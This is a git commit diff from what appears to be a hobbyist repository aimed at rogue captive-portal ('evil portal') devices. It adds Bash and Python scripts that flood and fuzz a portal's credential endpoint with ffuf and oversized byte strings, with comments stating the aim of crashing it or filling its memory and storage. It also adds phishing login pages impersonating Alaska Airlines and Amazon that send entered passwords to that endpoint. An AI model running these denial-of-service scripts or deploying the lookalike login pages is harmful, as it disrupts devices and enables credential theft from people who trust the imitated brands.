migration

This commit is contained in:
2026-05-26 21:24:00 -06:00
parent 661385fb4d
commit 9fc3492c57
107 changed files with 5691 additions and 2989 deletions
Regular → Executable
+4 -4
View File
@@ -1,4 +1,4 @@
private-notes.txt private-notes.txt
boofuzz boofuzz
old old
imgs imgs
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
+9 -9
View File
@@ -1,9 +1,9 @@
_start: _start:
nop nop
nop nop
nop nop
l32r a2, 400011a0 l32r a2, 400011a0
jx a2 jx a2
nop nop
nop nop
nop nop
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
View File
Regular → Executable
+23 -23
View File
@@ -1,23 +1,23 @@
#!/bin/bash #!/bin/bash
wifi_device=wlan1 wifi_device=wlan1
ssid=Guest-WiFi ssid=Guest-WiFi
host="192.168.4.1" host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n" echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n" echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3 ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n" echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP" echo -e "\nThat Was Big Payload (4U)\nRIP"
Regular → Executable
+18 -18
View File
@@ -1,18 +1,18 @@
import subprocess import subprocess
# host = "http://192.168.4.1" # host = "http://192.168.4.1"
host = "http://10.0.0.80" host = "http://10.0.0.80"
charlen = 2000 charlen = 2000
char = "%FF" char = "%FF"
curl_cmd = "curl --silent" curl_cmd = "curl --silent"
payload = char*charlen payload = char*charlen
uri = f"{host}/get.php?email={payload}&password={payload}" uri = f"{host}/get.php?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'" command = f"{curl_cmd} '{uri}'"
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n") print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate() (output, err) = p.communicate()
p_status = p.wait() p_status = p.wait()
print("That's A Big Load (4U)\n\nDone") print("That's A Big Load (4U)\n\nDone")
Regular → Executable
+23 -23
View File
@@ -1,23 +1,23 @@
#!/bin/bash #!/bin/bash
wifi_device=wlan1 wifi_device=wlan1
ssid=Guest-WiFi ssid=Guest-WiFi
host="192.168.4.1" host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n" echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n" echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3 ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n" echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP" echo -e "\nThat Was Big Payload (4U)\nRIP"
Regular → Executable
+40 -40
View File
@@ -1,40 +1,40 @@
import datetime import datetime
import subprocess import subprocess
import time import time
# host = "10.0.0.80" # host = "10.0.0.80"
host = "192.168.4.1" host = "192.168.4.1"
rangei = 65536 # FFFF+1 rangei = 65536 # FFFF+1
currenttime = datetime.datetime.now() currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S") datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
for x in range(rangei): for x in range(rangei):
hexcode = hex(x)[2:] hexcode = hex(x)[2:]
if x > 255: if x > 255:
urlformatted_raw = "%{:04x}".format(x) urlformatted_raw = "%{:04x}".format(x)
hexformatted_raw = "0x{:04x}".format(x) hexformatted_raw = "0x{:04x}".format(x)
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}" urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
else: else:
urlformatted_raw = "%{:04x}".format(x) urlformatted_raw = "%{:04x}".format(x)
urlformatted = "%{:02x}".format(x) urlformatted = "%{:02x}".format(x)
hexformatted = "0x{:02x}".format(x) hexformatted = "0x{:02x}".format(x)
unicode_formatted = "%u{:04x}".format(x) unicode_formatted = "%u{:04x}".format(x)
printformatted = f"\\x{hexcode}" printformatted = f"\\x{hexcode}"
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}") print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True) p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True) p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True) p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate() (output, err) = p.communicate()
(output, err) = p1.communicate() (output, err) = p1.communicate()
(output, err) = p2.communicate() (output, err) = p2.communicate()
p_status = p.wait() p_status = p.wait()
p_status1 = p1.wait() p_status1 = p1.wait()
p_status2 = p2.wait() p_status2 = p2.wait()
time.sleep(0.225) time.sleep(0.225)
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt") print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
Regular → Executable
+43 -43
View File
@@ -1,43 +1,43 @@
import datetime import datetime
import subprocess import subprocess
import time import time
# host = "http://10.0.0.80" # host = "http://10.0.0.80"
# host = "http://192.168.4.1" # host = "http://192.168.4.1"
host = "http://172.0.0.1" host = "http://172.0.0.1"
charlen = 750 charlen = 750
char = "%00%FF" char = "%00%FF"
prepend = "" prepend = ""
append = "" append = ""
currenttime = datetime.datetime.now() currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S") datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt" outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
# -i, --include - include header in output # -i, --include - include header in output
# -I, --head - HEAD http method # -I, --head - HEAD http method
# -s, --silent - supresses progress and errors # -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors # -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file> # -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error # -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET # -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed # -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers # -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file # -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v" # curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error" curl_cmd = "curl --include --silent --show-error"
chars = char*charlen chars = char*charlen
payload = f"{prepend}{chars}{append}" payload = f"{prepend}{chars}{append}"
uri = f"{host}/get.php?email={payload}&password=holdstill" uri = f"{host}/get.php?email={payload}&password=holdstill"
command = f"{curl_cmd} '{uri}' >> {outfile}" command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}") print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
with open(outfile, "a") as log: with open(outfile, "a") as log:
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n") log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate() (output, err) = p.communicate()
p_status = p.wait() p_status = p.wait()
print(f"\n\nlog written to {outfile}") print(f"\n\nlog written to {outfile}")
+46 -46
View File
@@ -1,46 +1,46 @@
import datetime import datetime
import subprocess import subprocess
import time import time
# host = "http://10.0.0.80" # host = "http://10.0.0.80"
# host = "http://192.168.4.1" # host = "http://192.168.4.1"
host = "http://172.0.0.1" host = "http://172.0.0.1"
rangei = 10000 rangei = 10000
char = "%00%FF" char = "%00%FF"
# char = "%00" # char = "%00"
prepend = "" prepend = ""
append = "" append = ""
#append = "%0a%00%0a" #append = "%0a%00%0a"
currenttime = datetime.datetime.now() currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S") datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt" outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
# -i, --include - include header in output # -i, --include - include header in output
# -I, --head - HEAD http method # -I, --head - HEAD http method
# -s, --silent - supresses progress and errors # -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors # -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file> # -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error # -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET # -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed # -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers # -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file # -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v" # curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error" curl_cmd = "curl --include --silent --show-error"
for x in range(rangei+1): for x in range(rangei+1):
chars = char*x chars = char*x
payload = f"{prepend}{chars}{append}" payload = f"{prepend}{chars}{append}"
uri = f"{host}/get?email={payload}&password={payload}" uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}' >> {outfile}" command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\nOutfile: {outfile}\n") print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\nOutfile: {outfile}\n")
with open(outfile, "a") as log: with open(outfile, "a") as log:
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n") log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate() (output, err) = p.communicate()
p_status = p.wait() p_status = p.wait()
print(f"\n\nlog written to {outfile}") print(f"\n\nlog written to {outfile}")
Regular → Executable
+1 -1
View File
@@ -1 +1 @@
bash connect-wifi && python sd-card-murder.py bash connect-wifi && python sd-card-murder.py
Regular → Executable
+29 -29
View File
@@ -1,29 +1,29 @@
import subprocess import subprocess
import os import os
# from requests.utils import requote_uri # from requests.utils import requote_uri
import urllib.parse import urllib.parse
from random import randbytes from random import randbytes
# host = "http://192.168.4.1" # cyd version # host = "http://192.168.4.1" # cyd version
host = "http://172.0.0.1" # flipper version host = "http://172.0.0.1" # flipper version
# host = "http://10.0.0.80" # host = "http://10.0.0.80"
# rangei = 10000 # rangei = 10000
# charlen = 2012 # to crash # charlen = 2012 # to crash
charlen = 1400 # to flood flipper mem(?) charlen = 1400 # to flood flipper mem(?)
# charlen = 700 # to flood filesysted # charlen = 700 # to flood filesysted
curl_cmd = "curl --include --silent --show-error" curl_cmd = "curl --include --silent --show-error"
x = 0 x = 0
#for x in range(rangei+1): #for x in range(rangei+1):
while True: while True:
payload = urllib.parse.quote(randbytes(charlen)) payload = urllib.parse.quote(randbytes(charlen))
uri = f"{host}/get?email={payload}&password={payload}" uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'" command = f"{curl_cmd} '{uri}'"
print(f"{x} of infinite sets of {charlen} random bytes") print(f"{x} of infinite sets of {charlen} random bytes")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate() (output, err) = p.communicate()
p_status = p.wait() p_status = p.wait()
x=x+1 x=x+1
print(f"\n\nThe End") print(f"\n\nThe End")
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+18
View File
@@ -0,0 +1,18 @@
import subprocess
# host = "http://192.168.4.1"
host = "http://10.0.0.80"
charlen = 2000
char = "%FF"
curl_cmd = "curl --silent"
payload = char*charlen
uri = f"{host}/get.php?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print("That's A Big Load (4U)\n\nDone")
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
wifi_device=wlan1
ssid=Guest-WiFi
host="192.168.4.1"
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
sudo nmcli d disconnect $wifi_device > /dev/null
sudo nmcli dev wifi rescan > /dev/null
echo -e "\nCashing This Evil Portal With No Survivors\n"
sudo nmcli device wifi connect $ssid ifname $wifi_device
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
echo -e "\n\nPinging To Confirm Kill...\n"
ping -c 4 $host
echo -e "\nThat Was Big Payload (4U)\nRIP"
+40
View File
@@ -0,0 +1,40 @@
import datetime
import subprocess
import time
# host = "10.0.0.80"
host = "192.168.4.1"
rangei = 65536 # FFFF+1
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
for x in range(rangei):
hexcode = hex(x)[2:]
if x > 255:
urlformatted_raw = "%{:04x}".format(x)
hexformatted_raw = "0x{:04x}".format(x)
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
else:
urlformatted_raw = "%{:04x}".format(x)
urlformatted = "%{:02x}".format(x)
hexformatted = "0x{:02x}".format(x)
unicode_formatted = "%u{:04x}".format(x)
printformatted = f"\\x{hexcode}"
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
(output, err) = p1.communicate()
(output, err) = p2.communicate()
p_status = p.wait()
p_status1 = p1.wait()
p_status2 = p2.wait()
time.sleep(0.225)
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
+43
View File
@@ -0,0 +1,43 @@
import datetime
import subprocess
import time
# host = "http://10.0.0.80"
# host = "http://192.168.4.1"
host = "http://172.0.0.1"
charlen = 750
char = "%00%FF"
prepend = ""
append = ""
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
chars = char*charlen
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get.php?email={payload}&password=holdstill"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
with open(outfile, "a") as log:
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+46
View File
@@ -0,0 +1,46 @@
import datetime
import subprocess
import time
# host = "http://10.0.0.80"
# host = "http://192.168.4.1"
host = "http://172.0.0.1"
rangei = 10000
char = "%00%FF"
# char = "%00"
prepend = ""
append = ""
#append = "%0a%00%0a"
currenttime = datetime.datetime.now()
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
# -i, --include - include header in output
# -I, --head - HEAD http method
# -s, --silent - supresses progress and errors
# -S, --show-error - when used with -s/--silent, displays errors
# -D <file>, --dump-header <file> - saves response headers to <file>
# -f, --fail - fail silently on HTTP error
# -X, --request - request method, defaults to GET
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
# -v, --verbose - show request headers
# -o <file>, --output <file> - write output to file
# curl_cmd = "curl -i -s -S -v"
curl_cmd = "curl --include --silent --show-error"
for x in range(rangei+1):
chars = char*x
payload = f"{prepend}{chars}{append}"
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}' >> {outfile}"
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\nOutfile: {outfile}\n")
with open(outfile, "a") as log:
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
print(f"\n\nlog written to {outfile}")
+1
View File
@@ -0,0 +1 @@
bash connect-wifi && python sd-card-murder.py
+29
View File
@@ -0,0 +1,29 @@
import subprocess
import os
# from requests.utils import requote_uri
import urllib.parse
from random import randbytes
# host = "http://192.168.4.1" # cyd version
host = "http://172.0.0.1" # flipper version
# host = "http://10.0.0.80"
# rangei = 10000
# charlen = 2012 # to crash
charlen = 1400 # to flood flipper mem(?)
# charlen = 700 # to flood filesysted
curl_cmd = "curl --include --silent --show-error"
x = 0
#for x in range(rangei+1):
while True:
payload = urllib.parse.quote(randbytes(charlen))
uri = f"{host}/get?email={payload}&password={payload}"
command = f"{curl_cmd} '{uri}'"
print(f"{x} of infinite sets of {charlen} random bytes")
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
(output, err) = p.communicate()
p_status = p.wait()
x=x+1
print(f"\n\nThe End")
Regular → Executable
View File
+89
View File
@@ -0,0 +1,89 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: green;
}
#logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 10px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
</style>
<script>
window.addEventListener('DOMContentLoaded', (event) => {
const form = document.getElementById('email-form-step');
form.addEventListener('submit', (event) => {
event.preventDefault();
const emailInput = document.getElementById('email-input');
const passwordInput = document.getElementById('password-input');
const email = emailInput.value;
const password = passwordInput.value;
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
window.location.href = url;
});
});
</script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
<g fill="#00385f">
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
</g>
</svg>
</div>
<form id="email-form-step">
<h1>Sign in</h1>
<h2>Use your Alaska Airlines Account</h2>
<div class="form-group">
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
</div>
<div class="form-group">
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
+100
View File
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo {
text-align: center;
margin-bottom: 30px;
}
.form-container {
background: #fff;
border: 1px solid #ddd;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #f0c14b;
border: none;
color: #333;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #d8ad40;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 